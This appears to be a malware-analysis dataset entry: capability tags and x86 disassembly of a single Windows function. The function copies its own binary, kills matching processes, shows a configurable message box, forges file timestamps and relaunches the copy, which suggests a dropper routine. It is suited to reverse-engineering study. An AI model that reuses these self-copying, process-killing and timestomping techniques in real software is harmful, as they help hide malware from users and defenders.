Function at 0x41c9dc
Capabilities:
Copy file
Create process on windows
Enumerate files on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x8f
push 0
push 0
dec ecx
jne 0x41c9e4
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x41d419
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0041eb9c
mov byte [0x4349c0], al
lea eax, [ebp - 0x284]
call fcn.00420b1c
mov eax, dword [ebp - 0x284]
mov edx, 0x41d430
call fcn.004026fc
jne 0x41ca76
cmp byte [0x4349c0], 0
je 0x41ca76
lea edx, [ebp - 0x288]
mov al, 3
call fcn.0041f994
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x28c]
mov edx, dword [0x434cb0]
add edx, 0x200
call fcn.00402570
mov edx, dword [ebp - 0x28c]
pop eax
call fcn.004025c0
mov eax, dword [ebp - 0x288]
call fcn.004027b0
mov dword [0x435994], eax
jmp 0x41cabb
lea eax, [ebp - 0x290]
call fcn.004214f8
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x294]
mov edx, dword [0x434cb0]
add edx, 0x200
call fcn.00402570
mov edx, dword [ebp - 0x294]
pop eax
call fcn.004025c0
mov eax, dword [ebp - 0x290]
call fcn.004027b0
mov dword [0x435994], eax
lea edx, [ebp - 0x2a4]
xor eax, eax
call fcn.004043a4
mov eax, dword [ebp - 0x2a4]
lea edx, [ebp - 0x2a0]
call fcn.004044bc
mov eax, dword [ebp - 0x2a0]
lea edx, [ebp - 0x29c]
call fcn.0041f88c
mov eax, dword [ebp - 0x29c]
lea edx, [ebp - 0x298]
call fcn.00405834
mov eax, dword [ebp - 0x298]
push eax
lea eax, [ebp - 0x2b4]
mov edx, dword [0x435994]
call fcn.00402540
mov eax, dword [ebp - 0x2b4]
lea edx, [ebp - 0x2b0]
call fcn.004044bc
mov eax, dword [ebp - 0x2b0]
lea edx, [ebp - 0x2ac]
call fcn.0041f88c
mov eax, dword [ebp - 0x2ac]
lea edx, [ebp - 0x2a8]
call fcn.00405834
mov edx, dword [ebp - 0x2a8]
pop eax
call fcn.004026fc
je 0x41cb67
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a12], 0
je 0x41cb67
call fcn.00422d98
lea edx, [ebp - 0x2c4]
xor eax, eax
call fcn.004043a4
mov eax, dword [ebp - 0x2c4]
lea edx, [ebp - 0x2c0]
call fcn.004044bc
mov eax, dword [ebp - 0x2c0]
lea edx, [ebp - 0x2bc]
call fcn.0041f88c
mov eax, dword [ebp - 0x2bc]
lea edx, [ebp - 0x2b8]
call fcn.00405834
mov eax, dword [ebp - 0x2b8]
push eax
lea eax, [ebp - 0x2d4]
mov edx, dword [0x435994]
call fcn.00402540
mov eax, dword [ebp - 0x2d4]
lea edx, [ebp - 0x2d0]
call fcn.004044bc
mov eax, dword [ebp - 0x2d0]
lea edx, [ebp - 0x2cc]
call fcn.0041f88c
mov eax, dword [ebp - 0x2cc]
lea edx, [ebp - 0x2c8]
call fcn.00405834
mov edx, dword [ebp - 0x2c8]
pop eax
call fcn.004026fc
je 0x41cca6
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a10], 0
jne 0x41cca6
lea eax, [ebp - 0x2d8]
mov edx, dword [0x434cb0]
call fcn.00402570
push dword [ebp - 0x2d8]
push 0x41d444
lea edx, [ebp - 0x2dc]
mov eax, dword [0x434cb0]
mov eax, dword [eax + 0x1a00]
call fcn.00419d18
push dword [ebp - 0x2dc]
push 0x41d444
lea eax, [ebp - 0x2e0]
mov edx, dword [0x434cb0]
add edx, 0x100
call fcn.00402570
push dword [ebp - 0x2e0]
push 0x41d444
lea edx, [ebp - 0x2e4]
mov eax, dword [0x434cb0]
mov eax, dword [eax + 0x1a04]
call fcn.00419d18
push dword [ebp - 0x2e4]
lea eax, [ebp - 0xc]
mov edx, 7
call fcn.00402678
mov eax, dword [ebp - 0xc]
call fcn.0041eca0
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a11], 0
je 0x41ce46
lea edx, [ebp - 0x2f4]
xor eax, eax
call fcn.004043a4
mov eax, dword [ebp - 0x2f4]
lea edx, [ebp - 0x2f0]
call fcn.004044bc
mov eax, dword [ebp - 0x2f0]
lea edx, [ebp - 0x2ec]
call fcn.0041f88c
mov eax, dword [ebp - 0x2ec]
lea edx, [ebp - 0x2e8]
call fcn.00405834
mov eax, dword [ebp - 0x2e8]
push eax
lea eax, [ebp - 0x304]
mov edx, dword [0x435994]
call fcn.00402540
mov eax, dword [ebp - 0x304]
lea edx, [ebp - 0x300]
call fcn.004044bc
mov eax, dword [ebp - 0x300]
lea edx, [ebp - 0x2fc]
call fcn.0041f88c
mov eax, dword [ebp - 0x2fc]
lea edx, [ebp - 0x2f8]
call fcn.00405834
mov edx, dword [ebp - 0x2f8]
pop eax
call fcn.004026fc
je 0x41ce46
mov eax, dword [0x434cb0]
mov eax, dword [eax + 0x1a08]
cmp eax, 1
jne 0x41cd6f
mov dword [0x4359a8], 0x30
mov edx, dword [0x434cb0]
cmp eax, 2
jne 0x41cd84
mov dword [0x4359a8], 0x20
mov edx, dword [0x434cb0]
cmp eax, 3
jne 0x41cd99
mov dword [0x4359a8], 0x10
mov edx, dword [0x434cb0]
cmp eax, 4
jne 0x41cdae
mov dword [0x4359a8], 0x40
lea eax, [ebp - 0x30c]
mov edx, dword [0x434cb0]
add edx, 0x400
call fcn.00402570
mov eax, dword [ebp - 0x30c]
lea edx, [ebp - 0x308]
call fcn.00405824
mov edx, dword [ebp - 0x308]
mov eax, 0x4359b0
call fcn.00402468
lea eax, [ebp - 0x314]
mov edx, dword [0x434cb0]
add edx, 0x500
call fcn.00402570
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x310]
call fcn.00405824
mov edx, dword [ebp - 0x310]
mov eax, 0x4359b4
call fcn.00402468
mov eax, dword [0x4359a8]
push eax
mov eax, dword [0x4359b4]
call fcn.004027b0
push eax
mov eax, dword [0x4359b0]
call fcn.004027b0
push eax
push 0
call sub.user32.dll_MessageBoxA
mov dword [0x4359ac], eax
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a0c], 0
je 0x41d3d9
lea edx, [ebp - 0x31c]
xor eax, eax
call fcn.004043a4
mov eax, dword [ebp - 0x31c]
lea edx, [ebp - 0x318]
call fcn.00405834
mov eax, dword [ebp - 0x318]
push eax
lea eax, [ebp - 0x324]
mov edx, dword [0x435994]
call fcn.00402540
mov eax, dword [ebp - 0x324]
lea edx, [ebp - 0x320]
call fcn.00405834
mov edx, dword [ebp - 0x320]
pop eax
call fcn.004026fc
je 0x41d3d9
lea eax, [ebp - 0x328]
mov edx, dword [0x435994]
call fcn.00402540
mov eax, dword [ebp - 0x328]
call fcn.00405958
test al, al
je 0x41d0a6
xor edx, edx
push ebp
push 0x41d03e
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x140], 0x128
xor edx, edx
mov eax, 2
call fcn.00420d80
mov dword [ebp - 4], eax
lea edx, [ebp - 0x140]
mov eax, dword [ebp - 4]
call fcn.00420da0
test eax, eax
je 0x41d02b
lea edx, [ebp - 0x140]
mov eax, dword [ebp - 4]
call fcn.00420dc0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x41d021
lea eax, [ebp - 0x330]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.0040257c
mov eax, dword [ebp - 0x330]
lea edx, [ebp - 0x32c]
call fcn.0040585c
mov eax, dword [ebp - 0x32c]
push eax
lea eax, [ebp - 0x338]
mov edx, dword [0x434cb0]
add edx, 0x200
call fcn.00402570
mov eax, dword [ebp - 0x338]
lea edx, [ebp - 0x334]
call fcn.0040585c
mov edx, dword [ebp - 0x334]
pop eax
call fcn.004026fc
jne 0x41d021
lea edx, [ebp - 8]
mov eax, dword [ebp - 0x138]
call fcn.00419d18
cmp dword [ebp - 8], 0
je 0x41d021
mov eax, dword [ebp - 8]
call fcn.00419d0c
lea edx, [ebp - 0x33c]
call fcn.0041f0c4
mov eax, dword [ebp - 0x33c]
push eax
lea eax, [ebp - 0x340]
mov edx, dword [0x435994]
call fcn.00402540
mov edx, dword [ebp - 0x340]
pop eax
call fcn.004026fc
jne 0x41d021
xor edx, edx
push ebp
push 0x41d017
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
call fcn.00419e44
push eax
push 0xffffffffffffffff
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41d021
cmp dword [ebp - 0x10], 0
jne 0x41cf12
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41d048
xor eax, eax
push ebp
push 0x41d09c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x435998], 1
lea eax, [ebp - 0x344]
mov edx, dword [0x435994]
call fcn.00402540
mov eax, dword [ebp - 0x344]
call fcn.0041f290
push 5
call sub.kernel32.dll_Sleep
inc dword [0x435998]
cmp dword [0x435998], 0xb
jne 0x41d060
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41d0a6
push 0xffffffffffffffff
mov eax, dword [0x435994]
push eax
lea edx, [ebp - 0x348]
xor eax, eax
call fcn.004043a4
mov eax, dword [ebp - 0x348]
call fcn.004027b0
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a0f], 0
je 0x41d2b1
lea eax, [ebp - 0x34c]
call fcn.00420b1c
mov eax, dword [ebp - 0x34c]
mov edx, 0x41d430
call fcn.004026fc
jne 0x41d13e
cmp byte [0x4349c0], 0
je 0x41d13e
lea eax, [ebp - 0x280]
push eax
lea edx, [ebp - 0x350]
mov al, 3
call fcn.0041f994
lea eax, [ebp - 0x350]
mov edx, 0x41d450
call fcn.004025c0
mov eax, dword [ebp - 0x350]
call fcn.004027b0
push eax
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 4], eax
jmp 0x41d174
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0x354]
call fcn.004214f8
lea eax, [ebp - 0x354]
mov edx, 0x41d450
call fcn.004025c0
mov eax, dword [ebp - 0x354]
call fcn.004027b0
push eax
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41d240
jmp 0x41d190
lea eax, [ebp - 0x280]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_FindNextFileA
lea eax, [ebp - 0x358]
lea edx, [ebp - 0x254]
mov ecx, 0x104
call fcn.0040257c
mov eax, dword [ebp - 0x358]
push eax
lea eax, [ebp - 0x35c]
mov edx, dword [0x434cb0]
add edx, 0x200
call fcn.00402570
mov edx, dword [ebp - 0x35c]
pop eax
call fcn.004026fc
je 0x41d180
lea eax, [ebp - 0x360]
lea edx, [ebp - 0x254]
mov ecx, 0x104
call fcn.0040257c
mov eax, dword [ebp - 0x360]
mov edx, 0x41d45c
call fcn.004026fc
je 0x41d180
lea eax, [ebp - 0x364]
lea edx, [ebp - 0x254]
mov ecx, 0x104
call fcn.0040257c
mov eax, dword [ebp - 0x364]
mov edx, 0x41d468
call fcn.004026fc
je 0x41d180
cmp dword [ebp - 4], 0xffffffff
je 0x41d264
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x14], eax
jmp 0x41d264
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a0f], 0
je 0x41d264
or eax, 0xffffffff
call fcn.004017d0
mov dword [ebp - 0x18], eax
or eax, 0xffffffff
call fcn.004017d0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_FindClose
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
mov eax, dword [0x435994]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x41d2a8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetFileTime
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x434ce0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x434cb0]
cmp byte [eax + 0x1a0d], 1
jne 0x41d36d
push 0
push 0
push 0x41d474
lea edx, [ebp - 0x36c]
xor eax, eax
call fcn.004043a4
push dword [ebp - 0x36c]
push 0x41d484
lea eax, [ebp - 0x368]
mov edx, 3
call fcn.00402678
mov eax, dword [ebp - 0x368]
call fcn.004027b0
push eax
push 0x41d484
lea eax, [ebp - 0x474]
mov edx, dword [0x435994]
call fcn.00401a80
lea edx, [ebp - 0x474]
lea eax, [ebp - 0x374]
call fcn.00402570
push dword [ebp - 0x374]
push 0x41d484
lea eax, [ebp - 0x370]
mov edx, 3
call fcn.00402678
mov eax, dword [ebp - 0x370]
call fcn.004027b0
push eax
push 0x41d488
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x41d3d4
push 0
push 0
push 0x41d490
push 0x41d484
lea eax, [ebp - 0x474]
mov edx, dword [0x435994]
call fcn.00401a80
lea edx, [ebp - 0x474]
lea eax, [ebp - 0x47c]
call fcn.00402570
push dword [ebp - 0x47c]
push 0x41d484
lea eax, [ebp - 0x478]
mov edx, 3
call fcn.00402678
mov eax, dword [ebp - 0x478]
call fcn.004027b0
push eax
push 0x41d488
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
call fcn.00402288
call fcn.0041c9c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d420
lea eax, [ebp - 0x47c]
mov edx, 2
call fcn.00402438
lea eax, [ebp - 0x374]
mov edx, 0x3d
call fcn.00402438
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00402438
ret